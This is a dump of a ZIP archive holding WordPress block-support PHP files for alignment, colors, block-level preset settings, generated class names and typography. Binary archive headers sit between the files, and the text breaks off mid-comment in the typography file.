 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the align block attribute for block types that support it.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_alignment_support( $block_type ) {
	$has_align_support = block_has_support( $block_type, 'align', false );
	if ( $has_align_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'align', $block_type->attributes ) ) {
			$block_type->attributes['align'] = array(
				'type' => 'string',
				'enum' => array( 'left', 'center', 'right', 'wide', 'full', '' ),
			);
		}
	}
}

/**
 * Adds CSS classes for block alignment to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block alignment CSS classes and inline styles.
 */
function wp_apply_alignment_support( $block_type, $block_attributes ) {
	$attributes        = array();
	$has_align_support = block_has_support( $block_type, 'align', false );
	if ( $has_align_support ) {
		$has_block_alignment = array_key_exists( 'align', $block_attributes );

		if ( $has_block_alignment ) {
			$attributes['class'] = sprintf( 'align%s', $block_attributes['align'] );
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'align',
	array(
		'register_attribute' => 'wp_register_alignment_support',
		'apply'              => 'wp_apply_alignment_support',
	)
);
PK�Vd[S$��>>
colors.phpnu�[���<?php
/**
 * Colors block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and colors block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.1.0 Improved $color_support assignment optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_colors_support( $block_type ) {
	$color_support = false;
	if ( $block_type instanceof WP_Block_Type ) {
		$color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false;
	}
	$has_text_colors_support       = true === $color_support ||
		( isset( $color_support['text'] ) && $color_support['text'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['text'] ) );
	$has_background_colors_support = true === $color_support ||
		( isset( $color_support['background'] ) && $color_support['background'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['background'] ) );
	$has_gradients_support         = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false;
	$has_link_colors_support       = isset( $color_support['link'] ) ? $color_support['link'] : false;
	$has_button_colors_support     = isset( $color_support['button'] ) ? $color_support['button'] : false;
	$has_heading_colors_support    = isset( $color_support['heading'] ) ? $color_support['heading'] : false;
	$has_color_support             = $has_text_colors_support ||
		$has_background_colors_support ||
		$has_gradients_support ||
		$has_link_colors_support ||
		$has_button_colors_support ||
		$has_heading_colors_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_color_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) {
		$block_type->attributes['backgroundColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) {
		$block_type->attributes['textColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) {
		$block_type->attributes['gradient'] = array(
			'type' => 'string',
		);
	}
}


/**
 * Adds CSS classes and inline styles for colors to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Colors CSS classes and inline styles.
 */
function wp_apply_colors_support( $block_type, $block_attributes ) {
	$color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false;

	if (
		is_array( $color_support ) &&
		wp_should_skip_block_supports_serialization( $block_type, 'color' )
	) {
		return array();
	}

	$has_text_colors_support       = true === $color_support ||
		( isset( $color_support['text'] ) && $color_support['text'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['text'] ) );
	$has_background_colors_support = true === $color_support ||
		( isset( $color_support['background'] ) && $color_support['background'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['background'] ) );
	$has_gradients_support         = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false;
	$color_block_styles            = array();

	// Text colors.
	if ( $has_text_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'text' ) ) {
		$preset_text_color          = array_key_exists( 'textColor', $block_attributes ) ? "var:preset|color|{$block_attributes['textColor']}" : null;
		$custom_text_color          = isset( $block_attributes['style']['color']['text'] ) ? $block_attributes['style']['color']['text'] : null;
		$color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;
	}

	// Background colors.
	if ( $has_background_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'background' ) ) {
		$preset_background_color          = array_key_exists( 'backgroundColor', $block_attributes ) ? "var:preset|color|{$block_attributes['backgroundColor']}" : null;
		$custom_background_color          = isset( $block_attributes['style']['color']['background'] ) ? $block_attributes['style']['color']['background'] : null;
		$color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;
	}

	// Gradients.
	if ( $has_gradients_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'gradients' ) ) {
		$preset_gradient_color          = array_key_exists( 'gradient', $block_attributes ) ? "var:preset|gradient|{$block_attributes['gradient']}" : null;
		$custom_gradient_color          = isset( $block_attributes['style']['color']['gradient'] ) ? $block_attributes['style']['color']['gradient'] : null;
		$color_block_styles['gradient'] = $preset_gradient_color ? $preset_gradient_color : $custom_gradient_color;
	}

	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'colors',
	array(
		'register_attribute' => 'wp_register_colors_support',
		'apply'              => 'wp_apply_colors_support',
	)
);
PK�Vd[����settings.phpnu�[���<?php
/**
 * Block level presets support.
 *
 * @package WordPress
 * @since 6.2.0
 */

/**
 * Get the class name used on block level presets.
 *
 * @internal
 *
 * @since 6.2.0
 * @access private
 *
 * @param array $block Block object.
 * @return string      The unique class name.
 */
function _wp_get_presets_class_name( $block ) {
	return 'wp-settings-' . md5( serialize( $block ) );
}

/**
 * Update the block content with block level presets class name.
 *
 * @internal
 *
 * @since 6.2.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function _wp_add_block_level_presets_class( $block_content, $block ) {
	if ( ! $block_content ) {
		return $block_content;
	}

	// return early if the block doesn't have support for settings.
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
		return $block_content;
	}

	// return early if no settings are found on the block attributes.
	$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
	if ( empty( $block_settings ) ) {
		return $block_content;
	}

	// Like the layout hook this assumes the hook only applies to blocks with a single wrapper.
	// Add the class name to the first element, presuming it's the wrapper, if it exists.
	$tags = new WP_HTML_Tag_Processor( $block_content );
	if ( $tags->next_tag() ) {
		$tags->add_class( _wp_get_presets_class_name( $block ) );
	}

	return $tags->get_updated_html();
}

/**
 * Render the block level presets stylesheet.
 *
 * @internal
 *
 * @since 6.2.0
 * @since 6.3.0 Updated preset styles to use Selectors API.
 * @access private
 *
 * @param string|null $pre_render   The pre-rendered content. Default null.
 * @param array       $block The block being rendered.
 *
 * @return null
 */
function _wp_add_block_level_preset_styles( $pre_render, $block ) {
	// Return early if the block has not support for descendent block styles.
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
		return null;
	}

	// return early if no settings are found on the block attributes.
	$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
	if ( empty( $block_settings ) ) {
		return null;
	}

	$class_name = '.' . _wp_get_presets_class_name( $block );

	// the root selector for preset variables needs to target every possible block selector
	// in order for the general setting to override any bock specific setting of a parent block or
	// the site root.
	$variables_root_selector = '*,[class*="wp-block"]';
	$registry                = WP_Block_Type_Registry::get_instance();
	$blocks                  = $registry->get_all_registered();
	foreach ( $blocks as $block_type ) {
		/*
		 * We only want to append selectors for blocks using custom selectors
		 * i.e. not `wp-block-<name>`.
		 */
		$has_custom_selector =
			( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) ||
			( isset( $block_type->selectors['root'] ) && is_string( $block_type->selectors['root'] ) );

		if ( $has_custom_selector ) {
			$variables_root_selector .= ',' . wp_get_block_css_selector( $block_type );
		}
	}
	$variables_root_selector = WP_Theme_JSON::scope_selector( $class_name, $variables_root_selector );

	// Remove any potentially unsafe styles.
	$theme_json_shape  = WP_Theme_JSON::remove_insecure_properties(
		array(
			'version'  => WP_Theme_JSON::LATEST_SCHEMA,
			'settings' => $block_settings,
		)
	);
	$theme_json_object = new WP_Theme_JSON( $theme_json_shape );

	$styles = '';

	// include preset css variables declaration on the stylesheet.
	$styles .= $theme_json_object->get_stylesheet(
		array( 'variables' ),
		null,
		array(
			'root_selector' => $variables_root_selector,
			'scope'         => $class_name,
		)
	);

	// include preset css classes on the the stylesheet.
	$styles .= $theme_json_object->get_stylesheet(
		array( 'presets' ),
		null,
		array(
			'root_selector' => $class_name . ',' . $class_name . ' *',
			'scope'         => $class_name,
		)
	);

	if ( ! empty( $styles ) ) {
		wp_enqueue_block_support_styles( $styles );
	}

	return null;
}

add_filter( 'render_block', '_wp_add_block_level_presets_class', 10, 2 );
add_filter( 'pre_render_block', '_wp_add_block_level_preset_styles', 10, 2 );
PK�Vd[]@���generated-classname.phpnu�[���<?php
/**
 * Generated classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Gets the generated classname from a given block name.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param string $block_name Block Name.
 * @return string Generated classname.
 */
function wp_get_block_default_classname( $block_name ) {
	// Generated HTML classes for blocks follow the `wp-block-{name}` nomenclature.
	// Blocks provided by WordPress drop the prefixes 'core/' or 'core-' (historically used in 'core-embed/').
	$classname = 'wp-block-' . preg_replace(
		'/^core-/',
		'',
		str_replace( '/', '-', $block_name )
	);

	/**
	 * Filters the default block className for server rendered blocks.
	 *
	 * @since 5.6.0
	 *
	 * @param string $class_name The current applied classname.
	 * @param string $block_name The block name.
	 */
	$classname = apply_filters( 'block_default_classname', $classname, $block_name );

	return $classname;
}

/**
 * Adds the generated classnames to the output.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_generated_classname_support( $block_type ) {
	$attributes                      = array();
	$has_generated_classname_support = block_has_support( $block_type, 'className', true );
	if ( $has_generated_classname_support ) {
		$block_classname = wp_get_block_default_classname( $block_type->name );

		if ( $block_classname ) {
			$attributes['class'] = $block_classname;
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'generated-classname',
	array(
		'apply' => 'wp_apply_generated_classname_support',
	)
);
PK�Vd[O�i�p�ptypography.phpnu�[���<?php
/**
 * Typography block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and typography block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.3.0 Added support for text-columns.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_typography_support( $block_type ) {
	if ( ! ( $block_type instanceof WP_Block_Type ) ) {
		return;
	}

	$typography_supports = isset( $block_type->supports['typography'] ) ? $block_type->supports['typography'] : false;
	if ( ! $typography_supports ) {
		return;
	}

	$has_font_family_support     = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false;
	$has_font_size_support       = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false;
	$has_font_style_support      = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false;
	$has_font_weight_support     = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false;
	$has_letter_spacing_support  = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false;
	$has_line_height_support     = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false;
	$has_text_align_support      = isset( $typography_supports['textAlign'] ) ? $typography_supports['textAlign'] : false;
	$has_text_columns_support    = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false;
	$has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false;
	$has_text_transform_support  = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false;
	$has_writing_mode_support    = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false;

	$has_typography_support = $has_font_family_support
		|| $has_font_size_support
		|| $has_font_style_support
		|| $has_font_weight_support
		|| $has_letter_spacing_support
		|| $has_line_height_support
		|| $has_text_align_support
		|| $has_text_columns_support
		|| $has_text_decoration_support
		|| $has_text_transform_support
		|| $has_writing_mode_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_typography_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_font_size_support && ! array_key_exists( 'fontSize', $block_type->attributes ) ) {
		$block_type->attributes['fontSize'] = array(
			'type' => 'string',
		);
	}

	if ( $has_font_family_support && ! array_key_exists( 'fontFamily', $block_type->attributes ) ) {
		$block_type->attributes['fontFamily'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Adds CSS classes and inline styles for typography features such as font sizes
 * to the incoming attributes array. This will be applied to the block markup in
 * the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Used the style engine to generate CSS and classnames.
 * @since 6.3.0 Added support for text-columns.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block type.
 * @param array         $block_attributes Block attributes.
 * @return array Typography CSS classes and inline styles.
 */
function wp_apply_typography_support( $block_type, $block_attributes ) {
	if ( ! ( $block_type instanceof WP_Block_Type ) ) {
		return array();
	}

	$typography_supports = isset( $block_type->supports['typography'] )
		? $block_type->supports['typography']
		: false;
	if ( ! $typography_supports ) {
		return array();
	}

	if ( wp_should_skip_block_supports_serialization( $block_type, 'typography' ) ) {
		return array();
	}

	$has_font_family_support     = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false;
	$has_font_size_support       = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false;
	$has_font_style_support      = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false;
	$has_font_weight_support     = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false;
	$has_letter_spacing_support  = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false;
	$has_line_height_support     = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false;
	$has_text_align_support      = isset( $typography_supports['textAlign'] ) ? $typography_supports['textAlign'] : false;
	$has_text_columns_support    = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false;
	$has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false;
	$has_text_transform_support  = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false;
	$has_writing_mode_support    = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false;

	// Whether to skip individual block support features.
	$should_skip_font_size       = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontSize' );
	$should_skip_font_family     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontFamily' );
	$should_skip_font_style      = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontStyle' );
	$should_skip_font_weight     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontWeight' );
	$should_skip_line_height     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'lineHeight' );
	$should_skip_text_align      = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textAlign' );
	$should_skip_text_columns    = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textColumns' );
	$should_skip_text_decoration = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textDecoration' );
	$should_skip_text_transform  = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textTransform' );
	$should_skip_letter_spacing  = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'letterSpacing' );
	$should_skip_writing_mode    = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'writingMode' );

	$typography_block_styles = array();
	if ( $has_font_size_support && ! $should_skip_font_size ) {
		$preset_font_size                    = array_key_exists( 'fontSize', $block_attributes )
			? "var:preset|font-size|{$block_attributes['fontSize']}"
			: null;
		$custom_font_size                    = isset( $block_attributes['style']['typography']['fontSize'] )
			? $block_attributes['style']['typography']['fontSize']
			: null;
		$typography_block_styles['fontSize'] = $preset_font_size ? $preset_font_size : wp_get_typography_font_size_value(
			array(
				'size' => $custom_font_size,
			)
		);
	}

	if ( $has_font_family_support && ! $should_skip_font_family ) {
		$preset_font_family                    = array_key_exists( 'fontFamily', $block_attributes )
			? "var:preset|font-family|{$block_attributes['fontFamily']}"
			: null;
		$custom_font_family                    = isset( $block_attributes['style']['typography']['fontFamily'] )
			? wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontFamily'], 'font-family' )
			: null;
		$typography_block_styles['fontFamily'] = $preset_font_family ? $preset_font_family : $custom_font_family;
	}

	if (
		$has_font_style_support &&
		! $should_skip_font_style &&
		isset( $block_attributes['style']['typography']['fontStyle'] )
	) {
		$typography_block_styles['fontStyle'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['fontStyle'],
			'font-style'
		);
	}

	if (
		$has_font_weight_support &&
		! $should_skip_font_weight &&
		isset( $block_attributes['style']['typography']['fontWeight'] )
	) {
		$typography_block_styles['fontWeight'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['fontWeight'],
			'font-weight'
		);
	}

	if ( $has_line_height_support && ! $should_skip_line_height ) {
		$typography_block_styles['lineHeight'] = isset( $block_attributes['style']['typography']['lineHeight'] )
			? $block_attributes['style']['typography']['lineHeight']
			: null;
	}

	if ( $has_text_align_support && ! $should_skip_text_align ) {
		$typography_block_styles['textAlign'] = isset( $block_attributes['style']['typography']['textAlign'] )
			? $block_attributes['style']['typography']['textAlign']
			: null;
	}

	if ( $has_text_columns_support && ! $should_skip_text_columns && isset( $block_attributes['style']['typography']['textColumns'] ) ) {
		$typography_block_styles['textColumns'] = isset( $block_attributes['style']['typography']['textColumns'] )
			? $block_attributes['style']['typography']['textColumns']
			: null;
	}

	if (
		$has_text_decoration_support &&
		! $should_skip_text_decoration &&
		isset( $block_attributes['style']['typography']['textDecoration'] )
	) {
		$typography_block_styles['textDecoration'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['textDecoration'],
			'text-decoration'
		);
	}

	if (
		$has_text_transform_support &&
		! $should_skip_text_transform &&
		isset( $block_attributes['style']['typography']['textTransform'] )
	) {
		$typography_block_styles['textTransform'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['textTransform'],
			'text-transform'
		);
	}

	if (
		$has_letter_spacing_support &&
		! $should_skip_letter_spacing &&
		isset( $block_attributes['style']['typography']['letterSpacing'] )
	) {
		$typography_block_styles['letterSpacing'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['letterSpacing'],
			'letter-spacing'
		);
	}

	if ( $has_writing_mode_support &&
		! $should_skip_writing_mode &&
		isset( $block_attributes['style']['typography']['writingMode'] )
	) {
		$typography_block_styles['writingMode'] = isset( $block_attributes['style']['typography']['writingMode'] )
			? $block_attributes['style']['typography']['writingMode']
			: null;
	}

	$attributes = array();
	$classnames = array();
	$styles     = wp_style_engine_get_styles(
		array( 'typography' => $typography_block_styles ),
		array( 'convert_vars_to_classnames' => true )
	);

	if ( ! empty( $styles['classnames'] ) ) {
		$classnames[] = $styles['classnames'];
	}

	if ( $has_text_align_support && ! $should_skip_text_align && isset( $block_attributes['style']['typography']['textAlign'] ) ) {
		$classnames[] = 'has-text-align-' . $block_attributes['style']['typography']['textAlign'];
	}

	if ( ! empty( $classnames ) ) {
		$attributes['class'] = implode( ' ', $classnames );
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Generates an inline style value for a typography feature e.g. text decoration,
 * text transform, and font style.
 *
 * Note: This function is for backwards compatibility.
 * * It is necessary to parse older blocks whose typography styles contain presets.
 * * It mostly replaces the deprecated `wp_typography_get_css_variable_inline_style()`,
 *   but skips compiling a CSS declaration as the style engine takes over this role.
 * @link https://github.com/wordpress/gutenberg/pull/27555
 *
 * @since 6.1.0
 *
 * @param string $style_value  A raw style value for a single typography feature from a block's style attribute.
 * @param string $css_property Slug for the CSS property the inline style sets.
 * @return string A CSS inline style value.
 */
function wp_typography_get_preset_inline_style_value( $style_value, $css_property ) {
	// If the style value is not a preset CSS variable go no further.
	if ( empty( $style_value ) || ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) {
		return $style_value;
	}

	/*
	 * For backwards compatibility.
	 * Presets were removed in WordPress/gutenberg#27555.
	 * A preset CSS variable is the style.
	 * Gets the style value from the string and return CSS style.
	 */
	$index_to_splice = strrpos( $style_value, '|' ) + 1;
	$slug            = _wp_to_kebab_case( substr( $style_value, $index_to_splice ) );

	// Return the actual CSS inline style value,
	// e.g. `var(--wp--preset--text-decoration--underline);`.
	return sprintf( 'var(--wp--preset--%s--%s);', $css_property, $slug );
}

/**
 * Renders typography styles/content to the block wrapper.
 *
 * @since 6.1.0
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_typography_support( $block_content, $block ) {
	if ( ! isset( $block['attrs']['style']['typography']['fontSize'] ) ) {
		return $block_content;
	}

	$custom_font_size = $block['attrs']['style']['typography']['fontSize'];
	$fluid_font_size  = wp_get_typography_font_size_value( array( 'size' => $custom_font_size ) );

	/*
	 * Checks that $fluid_font_size does not match $custom_font_size,
	 * which means it's been mutated by the fluid font size functions.
	 */
	if ( ! empty( $fluid_font_size ) && $fluid_font_size !== $custom_font_size ) {
		// Replaces the first instance of `font-size:$custom_font_size` with `font-size:$fluid_font_size`.
		return preg_replace( '/font-size\s*:\s*' . preg_quote( $custom_font_size, '/' ) . '\s*;?/', 'font-size:' . esc_attr( $fluid_font_size ) . ';', $block_content, 1 );
	}

	return $block_content;
}

/**
 * Checks a string for a unit and value and returns an array
 * consisting of `'value'` and `'unit'`, e.g. array( '42', 'rem' ).
 *
 * @since 6.1.0
 *
 * @param string|int|float $raw_value Raw size value from theme.json.
 * @param array            $options   {
 *     Optional. An associative array of options. Default is empty array.
 *
 *     @type string   $coerce_to        Coerce the value to rem or px. Default `'rem'`.
 *     @type int      $root_size_value  Value of root font size for rem|em <-> px conversion. Default `16`.
 *     @type string[] $acceptable_units An array of font size units. Default `array( 'rem', 'px', 'em' )`;
 * }
 * @return array|null An array consisting of `'value'` and `'unit'` properties on success.
 *                    `null` on failure.
 */
function wp_get_typography_value_and_unit( $raw_value, $options = array() ) {
	if ( ! is_string( $raw_value ) && ! is_int( $raw_value ) && ! is_float( $raw_value ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			__( 'Raw size value must be a string, integer, or float.' ),
			'6.1.0'
		);
		return null;
	}

	if ( empty( $raw_value ) ) {
		return null;
	}

	// Converts numbers to pixel values by default.
	if ( is_numeric( $raw_value ) ) {
		$raw_value = $raw_value . 'px';
	}

	$defaults = array(
		'coerce_to'        => '',
		'root_size_value'  => 16,
		'acceptable_units' => array( 'rem', 'px', 'em' ),
	);

	$options = wp_parse_args( $options, $defaults );

	$acceptable_units_group = implode( '|', $options['acceptable_units'] );
	$pattern                = '/^(\d*\.?\d+)(' . $acceptable_units_group . '){1,1}$/';

	preg_match( $pattern, $raw_value, $matches );

	// Bails out if not a number value and a px or rem unit.
	if ( ! isset( $matches[1] ) || ! isset( $matches[2] ) ) {
		return null;
	}

	$value = $matches[1];
	$unit  = $matches[2];

	/*
	 * Default browser font size. Later, possibly could inject some JS to
	 * compute this `getComputedStyle( document.querySelector( "html" ) ).fontSize`.
	 */
	if ( 'px' === $options['coerce_to'] && ( 'em' === $unit || 'rem' === $unit ) ) {
		$value = $value * $options['root_size_value'];
		$unit  = $options['coerce_to'];
	}

	if ( 'px' === $unit && ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) ) {
		$value = $value / $options['root_size_value'];
		$unit  = $options['coerce_to'];
	}

	/*
	 * No calculation is required if swapping between em and rem yet,
	 * since we assume a root size value. Later we might like to differentiate between
	 * :root font size (rem) and parent element font size (em) relativity.
	 */
	if ( ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) && ( 'em' === $unit || 'rem' === $unit ) ) {
		$unit = $options['coerce_to'];
	}

	return array(
		'value' => round( $value, 3 ),
		'unit'  => $unit,
	);
}

/**
 * Internal implementation of CSS clamp() based on available min/max viewport
 * width and min/max font sizes.
 *
 * @since 6.1.0
 * @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values.
 * @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero.
 * @access private
 *
 * @param array $args {
 *     Optional. An associative array of values to calculate a fluid formula
 *     for font size. Default is empty array.
 *
 *     @type string $maximum_viewport_width Maximum size up to which type will have fluidity.
 *     @type string $minimum_viewport_width Minimum viewport size from which type will have fluidity.
 *     @type string $maximum_font_size      Maximum font size for any clamp() calculation.
 *     @type string $minimum_font_size      Minimum font size for any clamp() calculation.
 *     @type int    $scale_factor           A scale factor to determine how fast a font scales within boundaries.
 * }
 * @return string|null A font-size value using clamp() on success, otherwise null.
 */
function wp_get_computed_fluid_typography_value( $args = array() ) {
	$maximum_viewport_width_raw = isset( $args['maximum_viewport_width'] ) ? $args['maximum_viewport_width'] : null;
	$minimum_viewport_width_raw = isset( $args['minimum_viewport_width'] ) ? $args['minimum_viewport_width'] : null;
	$maximum_font_size_raw      = isset( $args['maximum_font_size'] ) ? $args['maximum_font_size'] : null;
	$minimum_font_size_raw      = isset( $args['minimum_font_size'] ) ? $args['minimum_font_size'] : null;
	$scale_factor               = isset( $args['scale_factor'] ) ? $args['scale_factor'] : null;

	// Normalizes the minimum font size in order to use the value for calculations.
	$minimum_font_size = wp_get_typography_value_and_unit( $minimum_font_size_raw );

	/*
	 * We get a 'preferred' unit to keep units consistent when calculating,
	 * otherwise the result will not be accurate.
	 */
	$font_size_unit = isset( $minimum_font_size['unit'] ) ? $minimum_font_size['unit'] : 'rem';

	// Normalizes the maximum font size in order to use the value for calculations.
	$maximum_font_size = wp_get_typography_value_and_unit(
		$maximum_font_size_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);

	// Checks for mandatory min and max sizes, and protects against unsupported units.
	if ( ! $maximum_font_size || ! $minimum_font_size ) {
		return null;
	}

	// Uses rem for accessible fluid target font scaling.
	$minimum_font_size_rem = wp_get_typography_value_and_unit(
		$minimum_font_size_raw,
		array(
			'coerce_to' => 'rem',
		)
	);

	// Viewport widths defined for fluid typography. Normalize units.
	$maximum_viewport_width = wp_get_typography_value_and_unit(
		$maximum_viewport_width_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);
	$minimum_viewport_width = wp_get_typography_value_and_unit(
		$minimum_viewport_width_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);

	// Protects against unsupported units in min and max viewport widths.
	if ( ! $minimum_viewport_width || ! $maximum_viewport_width ) {
		return null;
	}

	// Calculates the linear factor denominator. If it's 0, we cannot calculate a fluid value.
	$linear_factor_denominator = $maximum_viewport_width['value'] - $minimum_viewport_width['value'];
	if ( empty( $linear_factor_denominator ) ) {
		return null;
	}

	/*
	 * Build CSS rule.
	 * Borrowed from https://websemantics.uk/tools/responsive-font-calculator/.
	 */
	$view_port_width_offset = round( $minimum_viewport_width['value'] / 100, 3 ) . $font_size_unit;
	$linear_factor          = 100 * ( ( $maximum_font_size['value'] - $minimum_font_size['value'] ) / ( $linear_factor_denominator ) );
	$linear_factor_scaled   = round( $linear_factor * $scale_factor, 3 );
	$linear_factor_scaled   = empty( $linear_factor_scaled ) ? 1 : $linear_factor_scaled;
	$fluid_target_font_size = implode( '', $minimum_font_size_rem ) . " + ((1vw - $view_port_width_offset) * $linear_factor_scaled)";

	return "clamp($minimum_font_size_raw, $fluid_target_font_size, $maximum_font_size_raw)";
}

/**
 * Returns a font-size value based on a given font-size preset.
 * Takes into account fluid typography parameters and attempts to return a CSS
 * formula depending on available, valid values.
 *
 * @since 6.1.0
 * @since 6.1.1 Adjusted rules for min and max font sizes.
 * @since 6.2.0 Added 'settings.typography.fluid.minFontSize' support.
 * @since 6.3.0 Using layout.wideSize as max viewport width, and logarithmic scale factor to calculate minimum font scale.
 * @since 6.4.0 Added configurable min and max viewport width values to the typography.fluid theme.json schema.
